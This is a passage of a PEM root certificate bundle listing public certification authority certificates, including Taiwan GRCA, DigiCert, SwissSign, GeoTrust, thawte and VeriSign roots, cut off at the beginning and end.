bitTkPskpD6E8J7oX+zlJ0T1KKY/e97gKvDIr1MvnsoFAZMej2YcOadN+lq2cwQlZut3f+dZxkqZ
JRRU6ybH838Z1TBwj6+wRir/resp7defqgSHo9T5iaU0X9tDkYI22WY8sbi5gv2cOj4QyDvvBmVm
epsZGD3/cVE8MC5fvj13c7JdBmzDI1aaK4UmkhynArPkPw2vCHmCuDY96pzTNbO8acr1zJ3o/WSN
F4Azbl5KXZnJHoe0nRrA1W4TNSNe35tfPe/W93bC6j67eA0cQmdrBNj41tpvi/JEoAGrAgEDo4HF
MIHCMB0GA1UdDgQWBBS/X7fRzt0fhvRbVazc1xDCDqmI5zCBkgYDVR0jBIGKMIGHgBS/X7fRzt0f
hvRbVazc1xDCDqmI56FspGowaDELMAkGA1UEBhMCVVMxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNo
bm9sb2dpZXMsIEluYy4xMjAwBgNVBAsTKVN0YXJmaWVsZCBDbGFzcyAyIENlcnRpZmljYXRpb24g
QXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAAWdP4id0ckaVaGs
afPzWdqbAYcaT1epoXkJKtv3L7IezMdeatiDh6GX70k1PncGQVhiv45YuApnP+yz3SFmH8lU+nLM
PUxA2IGvd56Deruix/U0F47ZEUD0/CwqTRV/p2JdLiXTAAsgGh1o+Re49L2L7ShZ3U0WixeDyLJl
xy16paq8U4Zt3VekyvggQQto8PT7dL5WXXp59fkdheMtlb71cZBDzI0fmgAKhynpVSJYACPq4xJD
KVtHCN2MQWplBqjlIapBtJUhlbl90TSrE9atvNziPTnNvT51cKEYWQPJIrSPnNVeKtelttQKbfi3
QBFGmh95DmK/D5fs4C8fF5Q=
-----END CERTIFICATE-----

Taiwan GRCA
===========
-----BEGIN CERTIFICATE-----
MIIFcjCCA1qgAwIBAgIQH51ZWtcvwgZEpYAIaeNe9jANBgkqhkiG9w0BAQUFADA/MQswCQYDVQQG
EwJUVzEwMC4GA1UECgwnR292ZXJubWVudCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4X
DTAyMTIwNTEzMjMzM1oXDTMyMTIwNTEzMjMzM1owPzELMAkGA1UEBhMCVFcxMDAuBgNVBAoMJ0dv
dmVybm1lbnQgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQAD
ggIPADCCAgoCggIBAJoluOzMonWoe/fOW1mKydGGEghU7Jzy50b2iPN86aXfTEc2pBsBHH8eV4qN
w8XRIePaJD9IK/ufLqGU5ywck9G/GwGHU5nOp/UKIXZ3/6m3xnOUT0b3EEk3+qhZSV1qgQdW8or5
BtD3cCJNtLdBuTK4sfCxw5w/cP1T3YGq2GN49thTbqGsaoQkclSGxtKyyhwOeYHWtXBiCAEuTk8O
1RGvqa/lmr/czIdtJuTJV6L7lvnM4T9TjGxMfptTCAtsF/tnyMKtsc2AtJfcdgEWFelq16TheEfO
htX7MfP6Mb40qij7cEwdScevLJ1tZqa2jWR+tSBqnTuBto9AAGdLiYa4zGX+FVPpBMHWXx1E1wov
J5pGfaENda1UhhXcSTvxls4Pm6Dso3pdvtUqdULle96ltqqvKKyskKw4t9VoNSZ63Pc78/1Fm9G7
Q3hub/FCVGqY8A2tl+lSXunVanLeavcbYBT0peS2cWeqH+riTcFCQP5nRhc4L0c/cZyu5SHKYS1t
B6iEfC3uUSXxY5Ce/eFXiGvviiNtsea9P63RPZYLhY3Naye7twWb7LuRqQoHEgKXTiCQ8P8NHuJB
O9NAOueNXdpm5AKwB1KYXA6OM5zCppX7VRluTI6uSw+9wThNXo+EHWbNxWCWtFJaBYmOlXqYwZE8
lSOyDvR5tMl8wUohAgMBAAGjajBoMB0GA1UdDgQWBBTMzO/MKWCkO7GStjz6MmKPrCUVOzAMBgNV
HRMEBTADAQH/MDkGBGcqBwAEMTAvMC0CAQAwCQYFKw4DAhoFADAHBgVnKgMAAAQUA5vwIhP/lSg2
09yewDL7MTqKUWUwDQYJKoZIhvcNAQEFBQADggIBAECASvomyc5eMN1PhnR2WPWus4MzeKR6dBcZ
TulStbngCnRiqmjKeKBMmo4sIy7VahIkv9Ro04rQ2JyftB8M3jh+Vzj8jeJPXgyfqzvS/3WXy6Tj
Zwj/5cAWtUgBfen5Cv8b5Wppv3ghqMKnI6mGq3ZW6A4M9hPdKmaKZEk9GhiHkASfQlK3T8v+R0F2
Ne//AHY2RTKbxkaFXeIksB7jSJaYV0eUVXoPQbFEJPPB/hprv4j9wabak2BegUqZIJxIZhm1AHlU
D7gsL0u8qV1bYH+Mh6XgUmMqvtg7hUAV/h62ZT/FS9p+tXo1KaMuephgIqP0fSdOLeq0dDzpD6Qz
DxARvBMB1uUO07+1EqLhRSPAzAhuYbeJq4PjJB7mXQfnHyA+z2fI56wwbSdLaG5LKlwCCDTb+Hbk
Z6MmnD+iMsJKxYEYMRBWqoTvLQr/uB930r+lWKBi5NdLkXWNiYCYfm3LU05er/ayl4WXudpVBrkk
7tfGOB5jGxI7leFYrPLfhNVfmS8NVVvmONsuP3LpSIXLuykTjx44VbnzssQwmSNOXfJIoRIM3BKQ
CZBUkQM8R+XVyWXgt0t97EfTsws+rZ7QdAAO671RrcDeLMDDav7v3Aun+kbfYNucpllQdSNpc5Oy
+fwC00fmcc4QAu4njIT/rEUNE1yDMuAlpYYsfPQS
-----END CERTIFICATE-----

DigiCert Assured ID Root CA
===========================
-----BEGIN CERTIFICATE-----
MIIDtzCCAp+gAwIBAgIQDOfg5RfYRv6P5WD8G/AwOTANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw
IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0EwHhcNMDYxMTEwMDAwMDAwWhcNMzEx
MTEwMDAwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL
ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0Ew
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtDhXO5EOAXLGH87dg+XESpa7cJpSIqvTO
9SA5KFhgDPiA2qkVlTJhPLWxKISKityfCgyDF3qPkKyK53lTXDGEKvYPmDI2dsze3Tyoou9q+yHy
UmHfnyDXH+Kx2f4YZNISW1/5WBg1vEfNoTb5a3/UsDg+wRvDjDPZ2C8Y/igPs6eD1sNuRMBhNZYW
/lmci3Zt1/GiSw0r/wty2p5g0I6QNcZ4VYcgoc/lbQrISXwxmDNsIumH0DJaoroTghHtORedmTpy
oeb6pNnVFzF1roV9Iq4/AUaG9ih5yLHa5FcXxH4cDrC0kqZWs72yl+2qp/C3xag/lRbQ/6GW6whf
GHdPAgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRF
66Kv9JLLgjEtUYunpyGd823IDzAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYunpyGd823IDzANBgkq
hkiG9w0BAQUFAAOCAQEAog683+Lt8ONyc3pklL/3cmbYMuRCdWKuh+vy1dneVrOfzM4UKLkNl2Bc
EkxY5NM9g0lFWJc1aRqoR+pWxnmrEthngYTffwk8lOa4JiwgvT2zKIn3X/8i4peEH+ll74fg38Fn
SbNd67IJKusm7Xi+fT8r87cmNW1fiQG2SVufAQWbqz0lwcy2f8Lxb4bG+mRo64EtlOtCt/qMHt1i
8b5QZ7dsvfPxH2sMNgcWfzd8qVttevESRmCD1ycEvkvOl77DZypoEd+A5wwzZr8TDRRu838fYxAe
+o0bJW1sj6W3YQGx0qMmoRBxna3iw/nDmVG3KwcIzi7mULKn+gpFL6Lw8g==
-----END CERTIFICATE-----

DigiCert Global Root CA
=======================
-----BEGIN CERTIFICATE-----
MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBhMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw
HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAw
MDAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3
dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkq
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsBCSDMAZOn
TjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97nh6Vfe63SKMI2tavegw5
BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt43C/dxC//AH2hdmoRBBYMql1GNXRor5H
4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7PT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y
7vrTC0LUq7dBMtoM1O/4gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQAB
o2MwYTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbRTLtm
8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQEF
BQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/EsrhMAtudXH/vTBH1jLuG2cenTnmCmr
EbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIt
tep3Sp+dWOIrWcBAI+0tKIJFPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886
UAb3LujEV0lsYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk
CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=
-----END CERTIFICATE-----

DigiCert High Assurance EV Root CA
==================================
-----BEGIN CERTIFICATE-----
MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBsMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSsw
KQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAw
MFoXDTMxMTExMDAwMDAwMFowbDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ
MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFu
Y2UgRVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm+9S75S0t
Mqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTWPNt0OKRKzE0lgvdKpVMS
OO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEMxChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3
MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFBIk5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQ
NAQTXKFx01p8VdteZOE3hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUe
h10aUAsgEsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSY
JhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3NecnzyIZgYIVyHbIUf4KmeqvxgydkAQ
V8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6zeM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFp
myPInngiK3BD41VHMWEZ71jFhS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkK
mNEVX58Svnw2Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe
vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep+OkuE6N36B9K
-----END CERTIFICATE-----

SwissSign Gold CA - G2
======================
-----BEGIN CERTIFICATE-----
MIIFujCCA6KgAwIBAgIJALtAHEP1Xk+wMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkNIMRUw
EwYDVQQKEwxTd2lzc1NpZ24gQUcxHzAdBgNVBAMTFlN3aXNzU2lnbiBHb2xkIENBIC0gRzIwHhcN
MDYxMDI1MDgzMDM1WhcNMzYxMDI1MDgzMDM1WjBFMQswCQYDVQQGEwJDSDEVMBMGA1UEChMMU3dp
c3NTaWduIEFHMR8wHQYDVQQDExZTd2lzc1NpZ24gR29sZCBDQSAtIEcyMIICIjANBgkqhkiG9w0B
AQEFAAOCAg8AMIICCgKCAgEAr+TufoskDhJuqVAtFkQ7kpJcyrhdhJJCEyq8ZVeCQD5XJM1QiyUq
t2/876LQwB8CJEoTlo8jE+YoWACjR8cGp4QjK7u9lit/VcyLwVcfDmJlD909Vopz2q5+bbqBHH5C
jCA12UNNhPqE21Is8w4ndwtrvxEvcnifLtg+5hg3Wipy+dpikJKVyh+c6bM8K8vzARO/Ws/BtQpg
vd21mWRTuKCWs2/iJneRjOBiEAKfNA+k1ZIzUd6+jbqEemA8atufK+ze3gE/bk3lUIbLtK/tREDF
ylqM2tIrfKjuvqblCqoOpd8FUrdVxyJdMmqXl2MT28nbeTZ7hTpKxVKJ+STnnXepgv9VHKVxaSvR
AiTysybUa9oEVeXBCsdtMDeQKuSeFDNeFhdVxVu1yzSJkvGdJo+hB9TGsnhQ2wwMC3wLjEHXuend
jIj3o02yMszYF9rNt85mndT9Xv+9lz4pded+p2JYryU0pUHHPbwNUMoDAw8IWh+Vc3hiv69yFGkO
peUDDniOJihC8AcLYiAQZzlG+qkDzAQ4embvIIO1jEpWjpEA/I5cgt6IoMPiaG59je883WX0XaxR
7ySArqpWl2/5rX3aYT+YdzylkbYcjCbaZaIJbcHiVOO5ykxMgI93e2CaHt+28kgeDrpOVG2Y4OGi
GqJ3UM/EY5LsRxmd6+ZrzsECAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUw
AwEB/zAdBgNVHQ4EFgQUWyV7lqRlUX64OfPAeGZe6Drn8O4wHwYDVR0jBBgwFoAUWyV7lqRlUX64
OfPAeGZe6Drn8O4wRgYDVR0gBD8wPTA7BglghXQBWQECAQEwLjAsBggrBgEFBQcCARYgaHR0cDov
L3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBACe645R88a7A3hfm
5djV9VSwg/S7zV4Fe0+fdWavPOhWfvxyeDgD2StiGwC5+OlgzczOUYrHUDFu4Up+GC9pWbY9ZIEr
44OE5iKHjn3g7gKZYbge9LgriBIWhMIxkziWMaa5O1M/wySTVltpkuzFwbs4AOPsF6m43Md8AYOf
Mke6UiI0HTJ6CVanfCU2qT1L2sCCbwq7EsiHSycR+R4tx5M/nttfJmtS2S6K8RTGRI0Vqbe/vd6m
Gu6uLftIdxf+u+yvGPUqUfA5hJeVbG4bwyvEdGB5JbAKJ9/fXtI5z0V9QkvfsywexcZdylU6oJxp
mo/a77KwPJ+HbBIrZXAVUjEaJM9vMSNQH4xPjyPDdEFjHFWoFN0+4FFQz/EbMFYOkrCChdiDyyJk
vC24JdVUorgG6q2SpCSgwYa1ShNqR88uC1aVVMvOmttqtKay20EIhid392qgQmwLOM7XdVAyksLf
KzAiSNDVQTglXaTpXZ/GlHXQRf0wl0OPkKsKx4ZzYEppLd6leNcG2mqeSz53OiATIgHQv2ieY2Br
NU0LbbqhPcCT4H8js1WtciVORvnSFu+wZMEBnunKoGqYDs/YYPIvSbjkQuE4NRb0yG5P94FW6Lqj
viOvrv1vA+ACOzB2+httQc8Bsem4yWb02ybzOqR08kkkW8mw0FfB+j564ZfJ
-----END CERTIFICATE-----

SwissSign Silver CA - G2
========================
-----BEGIN CERTIFICATE-----
MIIFvTCCA6WgAwIBAgIITxvUL1S7L0swDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCQ0gxFTAT
BgNVBAoTDFN3aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMB4X
DTA2MTAyNTA4MzI0NloXDTM2MTAyNTA4MzI0NlowRzELMAkGA1UEBhMCQ0gxFTATBgNVBAoTDFN3
aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMIICIjANBgkqhkiG
9w0BAQEFAAOCAg8AMIICCgKCAgEAxPGHf9N4Mfc4yfjDmUO8x/e8N+dOcbpLj6VzHVxumK4DV644
N0MvFz0fyM5oEMF4rhkDKxD6LHmD9ui5aLlV8gREpzn5/ASLHvGiTSf5YXu6t+WiE7brYT7QbNHm
+/pe7R20nqA1W6GSy/BJkv6FCgU+5tkL4k+73JU3/JHpMjUi0R86TieFnbAVlDLaYQ1HTWBCrpJH
6INaUFjpiou5XaHc3ZlKHzZnu0jkg7Y360g6rw9njxcH6ATK72oxh9TAtvmUcXtnZLi2kUpCe2Uu
MGoM9ZDulebyzYLs2aFK7PayS+VFheZteJMELpyCbTapxDFkH4aDCyr0NQp4yVXPQbBH6TCfmb5h
qAaEuSh6XzjZG6k4sIN/c8HDO0gqgg8hm7jMqDXDhBuDsz6+pJVpATqJAHgE2cn0mRmrVn5bi4Y5
FZGkECwJMoBgs5PAKrYYC51+jUnyEEp/+dVGLxmSo5mnJqy7jDzmDrxHB9xzUfFwZC8I+bRHHTBs
ROopN4WSaGa8gzj+ezku01DwH/teYLappvonQfGbGHLy9YR0SslnxFSuSGTfjNFusB3hB48IHpmc
celM2KX3RxIfdNFRnobzwqIjQAtz20um53MGjMGg6cFZrEb65i/4z3GcRm25xBWNOHkDRUjvxF3X
CO6HOSKGsg0PWEP3calILv3q1h8CAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/
BAUwAwEB/zAdBgNVHQ4EFgQUF6DNweRBtjpbO8tFnb0cwpj6hlgwHwYDVR0jBBgwFoAUF6DNweRB
tjpbO8tFnb0cwpj6hlgwRgYDVR0gBD8wPTA7BglghXQBWQEDAQEwLjAsBggrBgEFBQcCARYgaHR0
cDovL3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBAHPGgeAn0i0P
4JUw4ppBf1AsX19iYamGamkYDHRJ1l2E6kFSGG9YrVBWIGrGvShpWJHckRE1qTodvBqlYJ7YH39F
kWnZfrt4csEGDyrOj4VwYaygzQu4OSlWhDJOhrs9xCrZ1x9y7v5RoSJBsXECYxqCsGKrXlcSH9/L
3XWgwF15kIwb4FDm3jH+mHtwX6WQ2K34ArZv02DdQEsixT2tOnqfGhpHkXkzuoLcMmkDlm4fS/Bx
/uNncqCxv1yL5PqZIseEuRuNI5c/7SXgz2W79WEE790eslpBIlqhn10s6FvJbakMDHiqYMZWjwFa
DGi8aRl5xB9+lwW/xekkUV7U1UtT7dkjWjYDZaPBA61BMPNGG4WQr2W11bHkFlt4dR2Xem1ZqSqP
e97Dh4kQmUlzeMg9vVE1dCrV8X5pGyq7O70luJpaPXJhkGaH7gzWTdQRdAtq/gsD/KNVV4n+Ssuu
WxcFyPKNIzFTONItaj+CuY0IavdeQXRuwxF+B6wpYJE/OMpXEA29MC/HpeZBoNquBYeaoKRlbEwJ
DIm6uNO5wJOKMPqN5ZprFQFOZ6raYlY+hAhm0sQ2fac+EPyI4NSA5QC9qvNOBqN6avlicuMJT+ub
DgEj8Z+7fNzcbBGXJbLytGMU0gYqZ4yD9c7qB9iaah7s5Aq7KkzrCWA5zspi2C5u
-----END CERTIFICATE-----

GeoTrust Primary Certification Authority
========================================
-----BEGIN CERTIFICATE-----
MIIDfDCCAmSgAwIBAgIQGKy1av1pthU6Y2yv2vrEoTANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQG
EwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjExMC8GA1UEAxMoR2VvVHJ1c3QgUHJpbWFyeSBD
ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjExMjcwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMFgx
CzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTEwLwYDVQQDEyhHZW9UcnVzdCBQ
cmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAvrgVe//UfH1nrYNke8hCUy3f9oQIIGHWAVlqnEQRr+92/ZV+zmEwu3qDXwK9AWbK7hWN
b6EwnL2hhZ6UOvNWiAAxz9juapYC2e0DjPt1befquFUWBRaa9OBesYjAZIVcFU2Ix7e64HXprQU9
nceJSOC7KMgD4TCTZF5SwFlwIjVXiIrxlQqD17wxcwE07e9GceBrAqg1cmuXm2bgyxx5X9gaBGge
RwLmnWDiNpcB3841kt++Z8dtd1k7j53WkBWUvEI0EME5+bEnPn7WinXFsq+W06Lem+SYvn3h6YGt
tm/81w7a4DSwDRp35+MImO9Y+pyEtzavwt+s0vQQBnBxNQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQULNVQQZcVi/CPNmFbSvtr2ZnJM5IwDQYJKoZI
hvcNAQEFBQADggEBAFpwfyzdtzRP9YZRqSa+S7iq8XEN3GHHoOo0Hnp3DwQ16CePbJC/kRYkRj5K
Ts4rFtULUh38H2eiAkUxT87z+gOneZ1TatnaYzr4gNfTmeGl4b7UVXGYNTq+k+qurUKykG/g/CFN
NWMziUnWm07Kx+dOCQD32sfvmWKZd7aVIl6KoKv0uHiYyjgZmclynnjNS6yvGaBzEi38wkG6gZHa
Floxt/m0cYASSJlyc1pZU8FjUjPtp8nSOQJw+uCxQmYpqptR7TBUIhRf2asdweSU8Pj1K/fqynhG
1riR/aYNKxoUAT6A8EKglQdebc3MS6RFjasS6LPeWuWgfOgPIh1a6Vk=
-----END CERTIFICATE-----

thawte Primary Root CA
======================
-----BEGIN CERTIFICATE-----
MIIEIDCCAwigAwIBAgIQNE7VVyDV7exJ9C/ON9srbTANBgkqhkiG9w0BAQUFADCBqTELMAkGA1UE
BhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2
aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhv
cml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwHhcNMDYxMTE3
MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwg
SW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMv
KGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMT
FnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCs
oPD7gFnUnMekz52hWXMJEEUMDSxuaPFsW0hoSVk3/AszGcJ3f8wQLZU0HObrTQmnHNK4yZc2AreJ
1CRfBsDMRJSUjQJib+ta3RGNKJpchJAQeg29dGYvajig4tVUROsdB58Hum/u6f1OCyn1PoSgAfGc
q/gcfomk6KHYcWUNo1F77rzSImANuVud37r8UVsLr5iy6S7pBOhih94ryNdOwUxkHt3Ph1i6Sk/K
aAcdHJ1KxtUvkcx8cXIcxcBn6zL9yZJclNqFwJu/U30rCfSMnZEfl2pSy94JNqR32HuHUETVPm4p
afs5SSYeCaWAe0At6+gnhcn+Yf1+5nyXHdWdAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYD
VR0PAQH/BAQDAgEGMB0GA1UdDgQWBBR7W0XPr87Lev0xkhpqtvNG61dIUDANBgkqhkiG9w0BAQUF
AAOCAQEAeRHAS7ORtvzw6WfUDW5FvlXok9LOAz/t2iWwHVfLHjp2oEzsUHboZHIMpKnxuIvW1oeE
uzLlQRHAd9mzYJ3rG9XRbkREqaYB7FViHXe4XI5ISXycO1cRrK1zN44veFyQaEfZYGDm/Ac9IiAX
xPcW6cTYcvnIc3zfFi8VqT79aie2oetaupgf1eNNZAqdE8hhuvU5HIe6uL17In/2/qxAeeWsEG89
jxt5dovEN7MhGITlNgDrYyCZuen+MwS7QcjBAvlEYyCegc5C09Y/LHbTY5xZ3Y+m4Q6gLkH3LpVH
z7z9M/P2C2F+fpErgUfCJzDupxBdN49cOSvkBPB7jVaMaA==
-----END CERTIFICATE-----

VeriSign Class 3 Public Primary Certification Authority - G5
============================================================
-----BEGIN CERTIFICATE-----
MIIE0zCCA7ugAwIBAgIQGNrRniZ96LtKIVjNzGs7SjANBgkqhkiG9w0BAQUFADCByjELMAkGA1UE
BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO
ZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVk
IHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRp
ZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMDYxMTA4MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCB
yjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2ln
biBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBh
dXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmlt
YXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ/XxrcgxiV0i6CqqpkKz
j/i5Vbext0uz/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6/WhkcIzSdhD
Y2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn/
Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4/VBEnkjWNHiDxpg8v+R70r
fk/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10/NIeWiu5T6CUVAgMBAAGjgbIwga8wDwYDVR0TAQH/
BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2Uv
Z2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVy
aXNpZ24uY29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFH/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqG
SIb3DQEBBQUAA4IBAQCTJEowX2LP2BqYLz3q3JktvXf2pXkiOOzEp6B4Eq1iDkVwZMXnl2YtmAl+
X6/WzChl8gGqCBpH3vn5fJJaCGkgDdk+bW48DW7Y5gaRQBi5+MHt39tBquCWIMnNZBU4gcmU7qKE
KQsTb47bDN0lAtukixlE0kF6BWlKWE9gyn6CagsCqiUXObXbf+eEZSqVir2G3l6BFoMtEMze/aiC
Km0oHw0LxOXnGiYZ4fQRbxC1lfznQgUy286dUV4otp6F01vvpX1FQHKOtw5rDgb7MzVIcbidJ4vE
ZV8NhnacRHr2lVz2XTIIM6RUthg/aFzyQkqFOFSDX9HoLPKsEdao7WNq
-----END CERTIFICATE-----

SecureTrust CA
==============
-----BEGIN CERTIFICATE-----
MIIDuDCCAqCgAwIBAgIQDPCOXAgWpa1Cf/DrJxhZ0DANBgkqhkiG9w0BAQUFADBIMQswCQYDVQQG
